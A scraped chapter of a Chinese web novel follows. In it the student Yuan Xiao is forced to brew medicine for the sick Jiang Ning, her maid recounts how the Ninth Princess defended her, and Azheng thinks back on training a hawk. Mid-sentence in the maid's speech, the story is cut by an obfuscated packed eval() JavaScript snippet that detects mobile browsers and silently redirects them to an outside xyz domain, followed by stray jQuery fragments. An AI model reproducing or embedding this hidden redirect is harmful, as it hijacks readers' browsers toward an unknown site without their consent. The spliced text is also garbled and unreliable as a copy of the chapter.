默认冷灰
24号文字
方正启体

109. 赎罪

作者:你比脂肪更膨胀本书字数:K更新时间:
    丝炭哧哧燃烧着,将药罐烧得通红,源源不断的热气从盖口冒了出来。一只手揭开了罐盖,下一瞬便被灼烫到,手的主人慌忙扔了盖子嗷嗷叫。


    一道声音响起:“请袁学子重新煎药。”


    袁肖脖子一梗,下意识反驳:“为何!”


    他的手被瓦罐烫到,正灼痛着呢。


    那声音继续道:“焚煮时辰不够,已然误了药效。请袁学子重新煎药。”


    说话间,浓郁的药材味儿慢慢占满了整个厨房。袁肖被熏得皱眉,嫌恶地退后几步抬起衣袖遮住了口鼻。


    这味道闻着不止是苦,还有股若有若无的腥臭,若不是亲眼见到,他都不知江宁每日喝的药里竟还有蟾酥。


    据说这东西是要从活着的蟾蜍身上取,他曾见过有人专门饲养这种东西,说是辟邪。想到那东西丑陋的模样,袁肖不禁浑身起鸡皮疙瘩。


    怎会有人用这等恶心的玩意儿入药,一想到他还被迫要伺候江宁数天,袁肖的抗拒浮于言表。


    见袁肖不动,曹监事意有所指道:“若袁学子不肯,我只好禀告祭酒,按国子监规章行事,请袁学子更换新书院。”


    说着,曹监事便转了身。


    袁肖看他不似作假,急得连忙出声:“等等!”


    他本就是祖上蒙荫才进了国子监,若真被逐出去,便成了全京都的笑柄。国子监从无逐人的先例,虽规章摆在那里,但从未有人把它当真。


    要不是碰上九公主替江宁说话,他怎会遭此劫难。


    思及此处,袁肖恨得几乎要将牙齿咬碎:“劳监事稍等,我重新取药。”


    青扇刚进厨房,便听到一阵咳嗽声,再定睛一看,伤了她家小姐的袁肖正捂着嘴,咳得面红耳赤,这厮的衣袖布满了炭灰,灰头土脸的模样活脱脱一只掉进窑炉的鸡。


    煎个药都能弄成这样,纨绔公子实在无用。


    虽是这样想,青扇却不会可怜他。若不是他吓到了姑娘,引发她的病症,姑娘又怎会病恹恹地躺在国子监的客房里,连府上都不好回。


    这等恶人就该受尽磋磨,好叫他们知晓自己的罪孽。


    青扇不屑地瞥向香钟,香还未燃尽,离药煎好还有半刻钟,于是便替旁边尽职尽责盯着袁肖的曹监事重新斟了杯茶。曹监事颔首接过,二人闲聊起来。


    许是栖身的椅凳太矮,总觉坐得四肢酸痛,袁肖刚站起身想活动下筋骨,旁边的视线便追随而来,他只好憋屈着坐了回去。


    青扇这时开了口,有些忧虑道:“往日我替姑娘煎药时,一刻也不敢松懈。这药特殊,火候得把握精准,离不得扇子。”


    曹监事在宫中混了多年,早已成了人精。听了这话后,他神色不变看向袁肖。接收到曹监事目光的袁肖气得要死,险些骂出口。


    青扇没来时,蒲葵扇都被他扇出火花了,他才刚放下不久,这丫头就起了话头,定是故意的!


    见袁肖瞪着眼睛看自己,青扇怯怯地缩了缩身子,曹监事皱眉道:“袁学子可是不愿意?”


    这话一出口,袁肖面色几变,终是忍着气捡起了蒲葵扇,药罐下的火苗忽地一下炸开了火星。


    青扇欢快地福身,道:“如此,便辛苦袁学子了。”


    蒲葵扇摇得更快了。


    ……


    江宁醒来时,胸口仍有些难受。她撑起身下意识地开口唤青扇,却发现屋内的格局摆设从未见过。


    这不是她的闺房。


    “姑娘醒了?”


    青扇忙上前扶她坐起,又往她身后塞了个软垫:“姑娘等等,药马上煎好了。”


    江宁蹙眉打量着周遭:“这是哪儿?”


    “静休堂。”见江宁不解,青扇脸颊鼓起,气道:“奴婢在偏厅等姑娘下学时,忽然有宫人跑来说姑娘晕厥了,奴婢慌慌张张赶过去,才知晓姑娘被恶徒所伤。”


    说着,青扇鄙夷地哼了一声继续道:“幸而九公主及时救了姑娘。”


    江宁闻言一怔。


    她想起昏迷前嗅到的那一抹小叶香。是九公主蓦地出现,挡住了那柄朝她飞来的剑。


    “公主……的确救了我。”


    “不止咧。”


    青扇没发现主子略淡的语气,正要将憋了一肚子的话吐出来时,门外忽然传来了敲门声,伴着一道瓮声瓮气的人声:“请青扇姑娘取药。”


    江宁思绪顿住,这声音她认识,似是袁肖?


    青扇替江宁揩好了被褥,又将屏风搬来,这才打开房门:“辛苦袁学子跑这一趟,等我家姑娘用完药,再将药碗还你。”


    放肆!这话便是真把他当成那等侍药的仆人了?


    一个下人竟敢这样命令他!


    袁肖眉毛一竖,正要驳斥回去,身后传来一声轻咳,他瞬间蔫了,嘴唇子几番蠕动终是开了口道:“我在院中等。”


    青扇也不管他,接过承盘就飞快地关上门。若不是袁肖退得快,脸皮就要被门扇夹住。


    可惜他还不能骂,曹监事仍然在身后盯着。袁肖深吸一口气,憋屈着坐到了院中的石凳上。


    房内,青扇端着药回来,痛快地舒了口气来到床边道:“姑娘快些喝药。”


    江宁侧过头避开了汤匙:“这药为何是袁肖端来的?”


    青扇以为她怀疑药有问题,便道:“这药有曹监事一直盯着,谅那个袁肖也不敢做什么手脚,奴婢刚刚也检查过,和府上熬的一样,姑娘放心。”


    听到曹监事的名字,江宁不由得更为疑惑。她的病情特殊,一天必须服药三次,进学时都是由青扇借用国子监的小厨房熬药。


    可今日怎会是袁肖替了青扇的活儿?


    “我昏迷后,到底发生了什么?”


    青扇听后终于忍不住了,眉飞色舞地开始说贵女们是如何讥讽的,连蓉和九公主如何驳斥的。


    说到贵女们阻拦九公主用药时,青扇恨得牙痒痒:“姑娘晕倒了,她们没一个人来救,还在那里说风凉话。被连姑娘反驳后,她们还质疑九公主是想害主子。”


    “若不是九公主早间时便发现了姑娘脸色不好,特意派人来寻奴婢拿药,主子早就……”


    说到这儿,青扇也意识到自己说错了话,连忙呸了三声:“依奴婢看


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16028781|174500||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,陈夫子就是想包庇袁肖,否则怎会轻拿轻放?”


    青扇越说越气。


    “幸好九公主搬出患难石的典故,逼着陈夫子处罚袁肖,不然奴婢这口气出不去。”


    江宁沉默许久:“你是说,九公主为我顶撞夫子,甚至请了国子监的祭酒来?”


    “是呀。”青扇极为自然地点点头,“当时陈夫子还不愿呢,我看他就是不想得罪袁家。祭酒大人一来,他当场就转变了态度。”


    “为了防止袁肖作假,九公主还提议请人监视他,她当时是这么说的。”


    青扇轻咳一声,神情忽然严肃起来,学着九公主的腔调道:“想来袁学子臂弱无力侍药,不若请监事辅助,也好记录他的赤诚丹心。”


    “日后在国子监中也不失为一道佳话。”


    “姑娘你不知道,袁肖当时脸都绿了!”


    青扇不由得哈哈笑起来,药汤随着她的身子不停抖动,险些蹦出到床上。


    这事若是从其他人口中听到,江宁还会怀疑三分,但青扇与她自小一起长大,自然不会诳她。


    九公主竟替她讨公道?


    江宁神思恍惚起来。


    在国子监读书的这段时日,九公主从不为难她,甚至带她交好四公主、七公主。


    因为自小病弱的缘故,她很少参与贵女们的交际。病发时她难以控制,脸上会浮现密密麻麻的红紫血丝,狰狞得如同恶鬼。


    幼时不小心在诗会上发了病,自那以后,她的玩伴便只有青扇和兄长了。


    九公主定是看到了,她会害怕自己吗?


    江宁垂目,泛白的指尖将锦被抓出了一道道皱痕。


    她的确想借势,但,理应是她去讨好九公主才是。九公主为何反过来待她这样?


    若是因为兄长的缘故,她做的已足够了。


    ……


    替江宁训鹰这件事,阿筝确实费了不少心思。


    京都哪有什么鹰,公子哥们养的都是鹦鹉八哥之类,即便附身挑衅雪云,也不过是对方的盘中餐。得到灰鹰也是巧合,阿筝附身飞鸟时,恰巧遇到一胡商提着绑住的鹰想进京卖掉。


    在那胡商跟买家议价时,她插足其中啄开了麻绳,这才放跑了灰鹰。


    在此之前,她连京都周边都寻遍了,也不见一根鹰羽。


    也算她运道不错,雪云跟跑不赢一般,是个急性子。说到跑不赢,也不知道它现在如何了?


    听四皇姐说,跑不赢一刻不停歇地跑回别苑找她,四皇姐发现它时正是深夜,它浑身血淋,嘶鸣着卧在那里,马腹处正源源不断地流着血,像是被猛兽撕裂的。


    嘴里却紧紧咬着一根布条,是自己衣衫上的。


    若不是四皇姐及时发现,跑不赢怕是会没了命。


    她还以为那家伙是抛下自己跑了。可惜宫中不适合养马,真有些想它了。


    思及此处,阿筝默默叹了口气。


    屈承戟昨日终于回了消息,说是找到了德吉他们。等江宁病愈,便能带着她去找德吉了。


    江谯,江宁。


    莫要让我失望。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)